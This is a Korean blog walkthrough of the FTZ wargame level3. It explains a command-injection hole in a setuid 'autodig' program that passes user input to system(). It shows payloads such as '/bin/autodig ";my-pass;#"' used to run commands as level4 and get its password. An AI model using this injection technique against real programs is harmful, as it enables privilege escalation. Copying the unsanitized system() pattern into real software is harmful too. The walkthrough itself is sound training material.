티스토리 뷰

728x90
반응형

 

 

[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

위 코드는 level3의 힌트입니다.

 

우선 level4 사용자 소유 파일을 검색해보았습니다.

[level3@ftz level3]$ find / -user level4 2> /dev/null
/bin/autodig

다시 autodig의 소스코드를 보도록 하겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

우선 main 함수는 인자 한 개를 받고 있습니다. 그리고 그 인자를 cmd 변수에 넣고, 다른 문자열과 합칩니다. 그리고 마지막으로 system 함수에 인자로 넣습니다. system 함수에 넘여질 명령어는 다음과 같은 형태가 될 것입니다.

dig @사용자입력값 version.bind chaos txt

리눅스 명령어는 다음과 같이 한 줄에 여러 명령어를 실행시킬 수 있습니다.

[level3@ftz level3]$ echo "test";pwd;whoami;
test
/home/level3
level3

이런 원리를 이용해서 위 문제에서는 command injection 취약점이 발생하고 있음을 알 수 있습니다.

만약 whoami 라는 명령어를 삽입한 다면 어떨까요? 아래와 같습니다.

[level3@ftz level3]$ dig @;whoami;#version.bind chaos txt
dig: Couldn't find server '': Name or service not known
level3

어쨌거나 dig @; 는 올바르지 않은 사용법으로써 오류가 나고 그 다음 명령인 whoami 가 실행될 겁니다. 그리고 뒤에 내용은 #(샵)을 이용해서 주석처리 했습니다. 그럼 이제 실제 문제에 적용해보겠습니다.

[level3@ftz level3]$ /bin/autodig ;whoami;#
Auto Digger Version 0.9
Usage : /bin/autodig host
level3

자 일단 뭔가 실행된 것으로 봐서 whoami 명령어가 정상적으로 실행된 것 같습니다. 하지만 의아하실 겁니다. level4 의 setuid 가 적용된 /bin/autodig 라는 프로그램에서 whoami 가 실행되었다면 level4 가 출력되어야 하는데 level3 이 왜 출력되었을까 하고 말이죠.

 

이 경우에는 또 다른 장치가 필요합니다. 사실 위 명령어를 해석하면 아래와 같습니다.

[level3@ftz level3]$ /bin/autodig ;
[level3@ftz level3]$ whoami;

말했다 시피 세미콜론(;) 기호를 이용해서 한 줄에 여러 명령을 수행할 수 있다고 했습니다. 그렇기 때문에 세미콜론(;) 기호를 기준으로 명령어를 다시 여러 줄로 나누게 되면 위와 같습니다. 그래서 whoami 는 결국 level3 에서 명령을 수행한 것과 마찬가지이기 때문에 level3이 출력되는 것은 당연합니다.

 

그럼 어떻게 /bin/autodig 라는 프로그램의 인자로써 세미콜론(;)을 인식하게 할까요? 바로 ""(큰따옴표)로 묶어주면 됩니다.

[level3@ftz level3]$ /bin/autodig ";whoami;#"
dig: Couldn't find server '': Name or service not known
level4

위와 같이 큰따옴표 기호로 묶어주게 되면 하나의 매개변수 값으로 인식하여 정상적으로 command injection 을 수행할 수 있습니다.

 

이제 level4 권한을 획득하였으니, level4 권한으로 my-pass만 구하면 끝이겠습니다.

[level3@ftz level3]$ /bin/autodig ";my-pass;#"
Level4 Password is "suck my brain".

 

- 끝 -

728x90
반응형
댓글